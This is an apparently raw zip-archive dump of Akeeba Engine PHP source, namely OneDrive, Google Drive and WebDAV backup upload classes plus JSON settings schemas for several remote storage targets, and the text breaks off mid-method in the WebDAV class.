				"%s - Google Drive tokens were refreshed",
				__METHOD__
			));

			$config->set('engine.postproc.googledrive.access_token', $pingResult['access_token'], false);
			$config->set('engine.postproc.googledrive.token_expiration', $pingResult['token_expiration'] ?? 0, false);

			$profile_id = Platform::getInstance()->get_active_profile();
			Platform::getInstance()->save_configuration($profile_id);
		}

		$connector->setUploadToSharedWithMe(
			$config->get('engine.postproc.googledrive.uploadtosharedwithme', 0) == 1
		);

		return $connector;
	}

	/**
	 * Forcibly refresh the Google Drive tokens
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	protected function forceRefreshTokens()
	{
		/** @var ConnectorGoogleDrive $connector */
		$connector = $this->getConnector(true);

		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$pingResult = $connector->ping(true);

		Factory::getLog()->debug(sprintf(
			"%s - Google Drive tokens were forcibly refreshed",
			__METHOD__
		));
		$config->set('engine.postproc.googledrive.access_token', $pingResult['access_token'], false);
		$config->set('engine.postproc.googledrive.token_expiration', $pingResult['token_expiration'] ?? 0, false);

		$profile_id = Platform::getInstance()->get_active_profile();

		Platform::getInstance()->save_configuration($profile_id);
	}
}
PK     \;V\W>  W>  1  vendor/akeeba/engine/engine/Postproc/Onedrive.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Connector\OneDrive as ConnectorOneDrive;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;
use RuntimeException;

/**
 * OneDrive (consumer / personal) post-processing engine.
 *
 * @deprecated Legacy consumer OneDrive integration. Superseded by the Onedrivebusiness engine using the modern
 *             Microsoft Graph API. Retained only for backwards compatibility with existing backup profiles.
 */
class Onedrive extends Base
{
	/**
	 * The retry count of this file (allow up to 2 retries after the first upload failure)
	 *
	 * @var int
	 */
	protected $tryCount = 0;

	/**
	 * The currently configured directory
	 *
	 * @var string
	 */
	protected $directory;

	/**
	 * Are we using chunk uploads?
	 *
	 * @var bool
	 */
	protected $isChunked = false;

	/**
	 * Chunk size (bytes)
	 *
	 * @var int
	 */
	protected $chunkSize = 10485760;

	/**
	 * The name of the OAuth2 callback method in the parent window (the configuration page)
	 *
	 * @var   string
	 */
	protected $callbackMethod = 'akeeba_onedrive_oauth_callback';

	/**
	 * The key in Akeeba Engine's settings registry for this post-processing method
	 *
	 * @var   string
	 */
	protected $settingsKey = 'onedrive';

	public function __construct()
	{
		$this->supportsDownloadToBrowser = true;
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
	}

	public function oauthCallback(array $params)
	{
		$input = $params['input'];

		$data = (object) [
			'access_token'  => $input['access_token'],
			'refresh_token' => $input['refresh_token'],
		];

		$serialisedData = json_encode($data);

		return sprintf(
			'<script type="application/javascript">window.opener.%s(%s);</script>',
			$this->callbackMethod, $serialisedData
		);
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Do not remove, required to set up $this->directory used below.
		/** @var ConnectorOneDrive $connector */
		$connector = $this->getConnector();

		// Store the absolute remote path in the class property
		$directory        = $this->directory;
		$basename         = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$this->remotePath = $directory . '/' . $basename;

		// Get a reference to the engine configuration
		$config = Factory::getConfiguration();

		// Have I already made sure the remote directory exists?
		$haveCheckedRemoteDirectory = $config->get('volatile.engine.postproc.' . $this->settingsKey . '.check_directory', 0);

		if (!$haveCheckedRemoteDirectory)
		{
			Factory::getLog()->debug(
				sprintf(
					"%s -- Checking if OneDrive directory %s already exists or needs to be created.",
					__METHOD__, $directory
				)
			);

			try
			{
				$connector->ping();
				$connector->makeDirectory($directory);
			}
			catch (Exception $e)
			{
				throw new RuntimeException("Could not create directory $directory.", 500, $e);
			}

			$config->set('volatile.engine.postproc.' . $this->settingsKey . '.check_directory', 1);
		}

		// Get the remote file's pathname. This MUST use the same basename as $this->remotePath (which getRemotePath()
		// reports and downloadToFile()/delete() are later called with), otherwise the file would be stored under the
		// local temp file's name instead of the requested remote name and every later lookup would 404.
		$remotePath = trim($directory, '/') . '/' . $basename;

		// Check if the size of the file is compatible with chunked uploading
		clearstatcache();
		$totalSize = filesize($localFilepath) ?: 0;

		// Chunked uploads if the feature is enabled and the file is at least as big as the chunk size.
		if ($this->mustChunk($totalSize) || ($this->isChunked && !$this->mustSingeUpload($totalSize)))
		{
			return $this->multipartUpload($localFilepath, $remotePath, $totalSize);
		}

		// Single part upload
		return $this->simpleUpload($localFilepath, $remotePath);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			// Ranges are not supported
			throw new RangeDownloadNotSupported();
		}

		/** @var ConnectorOneDrive $connector */
		$connector = $this->getConnector();
		$connector->ping();

		// Download the file
		$connector->download($remotePath, $localFile);
	}

	public function downloadToBrowser($remotePath)
	{
		/** @var ConnectorOneDrive $connector */
		$connector = $this->getConnector();
		$connector->ping();

		return $connector->getSignedUrl($remotePath);
	}

	public function delete($path)
	{
		/** @var ConnectorOneDrive $connector */
		$connector = $this->getConnector();
		$connector->ping();

		$connector->delete($path);
	}

	/**
	 * Do I have to force a chunked upload?
	 *
	 * @param   int  $fileSize
	 *
	 * @return bool
	 */
	protected function mustChunk(int $fileSize): bool
	{
		return $fileSize > 104857600;
	}

	/**
	 * Do I have to force a single part upload?
	 *
	 * @param   int  $fileSize
	 *
	 * @return bool
	 */
	protected function mustSingeUpload(int $fileSize): bool
	{
		return ($fileSize <= $this->chunkSize) || ($fileSize <= 4194304);
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$access_token  = trim($config->get('engine.postproc.' . $this->settingsKey . '.access_token', ''));
		$refresh_token = trim($config->get('engine.postproc.' . $this->settingsKey . '.refresh_token', ''));

		$this->isChunked  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload', true);
		$this->chunkSize  = $config->get('engine.postproc.' . $this->settingsKey . '.chunk_upload_size', 10) * 1024 * 1024;
		$defaultDirectory = rtrim($config->get('engine.postproc.' . $this->settingsKey . '.directory', ''), '/');
		$this->directory  = $config->get('volatile.postproc.directory', $defaultDirectory);

		// Sanity checks
		if (empty($refresh_token))
		{
			throw new BadConfiguration('You have not linked Akeeba Backup with your OneDrive account');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		// Fix the directory name, if required
		$this->directory = empty($this->directory) ? '' : $this->directory;
		$this->directory = trim($this->directory);
		$this->directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($this->directory), '/');
		$this->directory = Factory::getFilesystemTools()->replace_archive_name_variables($this->directory);
		$config->set('volatile.postproc.directory', $this->directory);

		// Get Download ID
		$dlid = Platform::getInstance()->get_platform_configuration_option('update_dlid', '');

		if (empty($dlid))
		{
			throw new BadConfiguration('You must enter your Download ID in the application configuration before using the “Upload to OneDrive” feature.');
		}

		$connector = new ConnectorOneDrive($access_token, $refresh_token, $dlid);

		// Restore the persisted access-token expiry so the connector can refresh proactively (before the token lapses)
		// across stepped backup runs, instead of only reacting after a request has already failed.
		$connector->setTokenExpiration((int) $config->get('engine.postproc.' . $this->settingsKey . '.token_expiration', 0));

		// Validate the tokens
		Factory::getLog()->debug(__METHOD__ . " - Validating the OneDrive tokens");
		$pingResult = $connector->ping();

		// Save new configuration if there was a refresh
		if ($pingResult['needs_refresh'])
		{
			Factory::getLog()->debug(__METHOD__ . " - OneDrive tokens were refreshed");
			$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);
			$config->set('engine.postproc.' . $this->settingsKey . '.token_expiration', $pingResult['token_expiration'] ?? 0, false);

			$profile_id = Platform::getInstance()->get_active_profile();
			Platform::getInstance()->save_configuration($profile_id);
		}

		return $connector;
	}

	/**
	 * Forcibly refresh the OneDrive tokens
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 */
	protected function forceRefreshTokens()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		/** @var ConnectorOneDrive $connector */
		$connector  = $this->getConnector();
		$pingResult = $connector->ping(true);

		Factory::getLog()->debug(__METHOD__ . " - OneDrive tokens were forcibly refreshed");
		$config->set('engine.postproc.' . $this->settingsKey . '.access_token', $pingResult['access_token'], false);
		$config->set('engine.postproc.' . $this->settingsKey . '.refresh_token', $pingResult['refresh_token'], false);
		$config->set('engine.postproc.' . $this->settingsKey . '.token_expiration', $pingResult['token_expiration'] ?? 0, false);

		$profile_id = Platform::getInstance()->get_active_profile();
		Platform::getInstance()->save_configuration($profile_id);
	}

	protected function getOAuth2HelperUrl()
	{
		return ConnectorOneDrive::helperUrl;
	}

	/**
	 * Performs a multipart (chunked) upload.
	 *
	 * @param   string  $localFilepath  The path to the local file we'll be uploading.
	 * @param   string  $remotePath     The path to the file in remote storage
	 * @param   int     $totalSize      The total size of the file, in bytes.
	 *
	 * @return  bool  True if the upload is complete, false if more work is necessary
	 * @throws  Exception  If an upload error occurs
	 */
	private function multipartUpload($localFilepath, $remotePath, $totalSize)
	{
		/** @var ConnectorOneDrive $connector */
		$connector = $this->getConnector();

		// Get a reference to the engine configuration
		$config = Factory::getConfiguration();

		// Are we already processing a multipart upload?
		Factory::getLog()->debug(
			sprintf(
				"%s - Using chunked upload, part size %d",
				__METHOD__, $this->chunkSize
			)
		);

		$offset    = $config->get('volatile.engine.postproc.' . $this->settingsKey . '.offset', 0);
		$upload_id = $config->get('volatile.engine.postproc.' . $this->settingsKey . '.upload_id', null);

		if (empty($upload_id))
		{
			Factory::getLog()->debug(
				sprintf(
					"%s - Trying to remove existing file by the same name (%s)",
					__METHOD__, $remotePath
				)
			);

			// Try deleting the file first because OneDrive doesn't allow replacing files when using multipart uploads
			$connector->delete($remotePath, false);

			Factory::getLog()->debug(
				sprintf(
					"%s - Creating new upload session",
					__METHOD__
				)
			);

			try
			{
				$upload_id = $connector->createUploadSession($remotePath);
			}
			catch (Exception $e)
			{
				Factory::getLog()->debug(
					sprintf(
						"%s - Failed to create a new upload session; will try to refresh the tokens first",
						__METHOD__
					)
				);

				$upload_id = null;
			}

			if (is_null($upload_id))
			{
				try
				{
					$this->forceRefreshTokens();

					$upload_id = $connector->createUploadSession($remotePath);
				}
				catch (Exception $e)
				{
					throw new RuntimeException(
						sprintf(
							"The upload session for remote file %s cannot be created",
							$remotePath
						), 500, $e
					);
				}
			}

			Factory::getLog()->debug(
				sprintf(
					"%s - New upload session %s",
					__METHOD__, $upload_id
				)
			);

			$config->set('volatile.engine.postproc.' . $this->settingsKey . '.upload_id', $upload_id);
		}

		try
		{
			if (empty($offset))
			{
				$offset = 0;
			}

			Factory::getLog()->debug(
				sprintf(
					"%s - Uploading chunked part",
					__METHOD__
				)
			);

			$result = $connector->uploadPart($upload_id, $localFilepath, $offset, $this->chunkSize);

			Factory::getLog()->debug(
				sprintf(
					"%s - Got uploadPart result %s",
					__METHOD__, print_r($result, true)
				)
			);
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(
				sprintf(
					"%s - Got uploadPart Exception %s: %s",
					__METHOD__, $e->getCode(), $e->getMessage()
				)
			);

			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(
					sprintf(
						"%s - Maximum number of retries exceeded. The upload has failed.",
						__METHOD__
					), 500, $e
				);
			}

			Factory::getLog()->debug(
				sprintf(
					"%s - Error detected, trying to force-refresh the tokens",
					__METHOD__
				)
			);

			$this->forceRefreshTokens();

			Factory::getLog()->debug(
				sprintf(
					"%s - Retrying chunk upload",
					__METHOD__
				)
			);

			return false;
		}

		// Are we done uploading?
		$nextOffset = $offset + $this->chunkSize - 1;

		if (isset($result['name']) || ($nextOffset > $totalSize))
		{
			Factory::getLog()->debug(
				sprintf(
					"%s - Chunked upload is now complete",
					__METHOD__
				)
			);

			$config->set('volatile.engine.postproc.' . $this->settingsKey . '.offset', null);
			$config->set('volatile.engine.postproc.' . $this->settingsKey . '.upload_id', null);

			$this->tryCount = 0;

			return true;
		}

		// Otherwise, continue uploading
		$config->set('volatile.engine.postproc.' . $this->settingsKey . '.offset', $offset + $this->chunkSize);

		return false;
	}

	/**
	 * Performs a single part upload
	 *
	 * @param   string  $localFilepath
	 * @param   string  $remotePath
	 *
	 * @return  bool  True if the upload is complete, false if more work is necessary
	 * @throws  Exception  If an upload error occurs
	 */
	private function simpleUpload($localFilepath, $remotePath)
	{
		/** @var ConnectorOneDrive $connector */
		$connector = $this->getConnector();

		// Get a reference to the engine configuration
		$config = Factory::getConfiguration();

		try
		{
			Factory::getLog()->debug(__METHOD__ . " - Simple upload. Proactively deleting files with remote path " . $remotePath);

			// Try deleting the file first because OneDrive doesn't allow replacing files when using multipart uploads
			$connector->delete($remotePath, false);

			Factory::getLog()->debug(__METHOD__ . " - Performing simple upload");

			$connector->simpleUpload($remotePath, $localFilepath);
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(__METHOD__ . " - Simple upload failed, " . $e->getCode() . ": " . $e->getMessage());

			// Let's retry
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				throw new RuntimeException(__METHOD__ . " - Maximum number of retries exceeded. The upload has failed.", 500, $e);
			}

			Factory::getLog()->debug(__METHOD__ . " - Error detected, trying to force-refresh the tokens");

			$this->forceRefreshTokens();

			Factory::getLog()->debug(__METHOD__ . " - Retrying upload");

			return false;
		}

		// Upload complete. Reset the retry counter.
		$this->tryCount = 0;

		return true;
	}
}
PK     \KbNA  A  1  vendor/akeeba/engine/engine/Postproc/ftpcurl.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.host": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_HOST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_HOST_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.port": {
        "default": "21",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_PORT_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_PORT_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.user": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_USER_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_USER_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.pass": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.initial_directory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_INITDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.subdirectory": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.ftps": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_FTPS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.passive_mode": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION"
    },
    "engine.postproc.ftpcurl.passive_mode_workaround": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION",
        "showon": "engine.postproc.ftpcurl.passive_mode:1"
    },
    "engine.postproc.ftpcurl.ftp_test": {
        "default": "0",
        "type": "button",
        "hook": "postprocftpcurl_test_connection",
        "title": "COM_AKEEBA_CONFIG_POSTPROCFTP_TEST_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCFTP_TEST_DESCRIPTION"
    }
}PK     \DEH    :  vendor/akeeba/engine/engine/Postproc/onedrivebusiness.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION"
    },
    "engine.postproc.onedrivebusiness.oauth2_type": {
        "default": "akeeba",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA|COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM",
        "enumvalues": "akeeba|custom",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION"
    },
    "engine.postproc.onedrivebusiness.oauth2_helper": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION",
        "showon": "engine.postproc.onedrivebusiness.oauth2_type:custom"
    },
    "engine.postproc.onedrivebusiness.oauth2_refresh": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION",
        "showon": "engine.postproc.onedrivebusiness.oauth2_type:custom"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.onedrivebusiness.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.onedrivebusiness.chunk_upload_size": {
        "default": "10",
        "type": "integer",
        "min": "4",
        "max": "60",
        "shortcuts": "5|10|20|40|60",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.onedrivebusiness.chunk_upload:1"
    },
    "engine.postproc.onedrivebusiness.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_onedrivebusiness_openoauth"
    },
    "engine.postproc.onedrivebusiness.drive": {
        "default": "",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL",
        "enumvalues": "",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION"
    },
    "engine.postproc.onedrivebusiness.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION"
    },
    "engine.postproc.onedrivebusiness.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION"
    },
    "engine.postproc.onedrivebusiness.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION"
    }
}PK     \[g,	  ,	  6  vendor/akeeba/engine/engine/Postproc/dreamobjects.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.dreamobjects.accesskey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DREAMOBJECTSACCESSKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION"
    },
    "engine.postproc.dreamobjects.secretkey": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_DREAMOBJECTSSECRETKEY_TITLE",
        "description": "COM_AKEEBA_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION"
    },
    "engine.postproc.dreamobjects.usessl": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DREAMOBJECTSUSESSL_TITLE",
        "description": "COM_AKEEBA_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION"
    },
    "engine.postproc.dreamobjects.bucket": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DREAMOBJECTSBUCKET_TITLE",
        "description": "COM_AKEEBA_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION"
    },
    "engine.postproc.dreamobjects.lowercase": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DREAMOBJECTSLOWERCASE_TITLE",
        "description": "COM_AKEEBA_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION"
    },
    "engine.postproc.dreamobjects.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DREAMOBJECTSDIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION"
    }
}PK     \Ğ^      .  vendor/akeeba/engine/engine/Postproc/none.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_NONE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION"
    }
}PK     \	!  !  /  vendor/akeeba/engine/engine/Postproc/Webdav.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Davclient as ConnectorDavclient;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Exception;
use RuntimeException;

class Webdav extends Base
{
	/**
	 * WebDAV username
	 *
	 * @var string
	 */
	protected $username;

	/**
	 * WebDAV password
	 *
	 * @var string
	 */
	protected $password;

	/**
	 * The retry count of this file (allow up to 2 retries after the first upload failure)
	 *
	 * @var int
	 */
	protected $tryCount = 0;

	/**
	 * The currently configured directory
	 *
	 * @var string
	 */
	protected $directory;

	/**
	 * The key used for storing settings in the Configuration registry
	 *
	 * @var string
	 */
	protected $settingsKey = 'webdav';

	public function __construct()
	{
		$this->supportsDownloadToBrowser = false;
		$this->supportsDelete            = true;
		$this->supportsDownloadToFile    = true;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		$basename  = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;

		try
		{
			$this->putFile($localFilepath, $basename);
		}
		catch (Exception $e)
		{
			// Upload failed. Let's log the failure first.
			Factory::getLog()->debug(sprintf("%s - WebDAV upload failed, %s: %s", __METHOD__, $e->getCode(), $e->getMessage()));

			// Increase the try counter
			$this->tryCount++;

			// However, if we've already retried twice, we stop retrying and call it a failure
			if ($this->tryCount > 2)
			{
				Factory::getLog()->debug(sprintf("%s - Maximum number of retries exceeded. The upload has failed.", __METHOD__));

				throw new RuntimeException('Uploading to WebDAV failed.', 500, $e);
			}

			Factory::getLog()->debug(sprintf("%s - The upload will be retried", __METHOD__));

			return false;
		}

		// Upload complete. Reset the retry counter.
		$this->tryCount = 0;

		return true;
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			// Ranges are not supported
			throw new RangeDownloadNotSupported();
		}

		/** @var ConnectorDavclient $connector */
		$connector = $this->getConnector();
		$try       = 0;
		$handle    = null;

		while ($try < 2)
		{
			try
			{
				$handle = fopen($localFile, 'w+');

				if ($handle === false)
				{
					throw new RuntimeException(sprintf('Can not open file %s for writing.', $localFile));
				}

				$connector->request('GET', $remotePath, $handle);

				return;
			}
			catch (Exception $e)
			{
				if ($try > 0)
				{
					throw $e;
				}

				$try++;
			}
			finally
			{
				$this->conditionalFileClose($handle);
			}
		}

		throw new RuntimeException('WebDAV download failed without a reason we can report. This should never happen.');
	}

	public function delete($path)
	{
		/** @var ConnectorDavclient $connector */
		$connector = $this->getConnector();

		// Remove starting slash, or some servers will read it as an absolute path
		$path = '/' . ltrim($path, '/');
		$try  = 0;

		while ($try < 2)
		{
			try
			{
				$connector->request('DELETE', $path);

				return;
			}
			catch (Exception $e)
			{
				if ($try > 0)
				{
					throw $e;
				}

				$try++;
			}
		}

		throw new RuntimeException('WebDAV file delete failed without a reason we can report. This should never happen.');
	}

	/**
	 * Get the WebDAV settings from the backup profile configuration
	 *
	 * @return  array
	 *
	 * @throws  BadConfiguration  If there's a configuration issue
	 */
	protected function getSettings()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$username = trim($config->get('engine.postproc.' . $this->settingsKey . '.username', ''));
		$password = trim($config->get('engine.postproc.' . $this->settingsKey . '.password', ''));
		$url      = trim($config->get('engine.postproc.' . $this->settingsKey . '.url', ''));

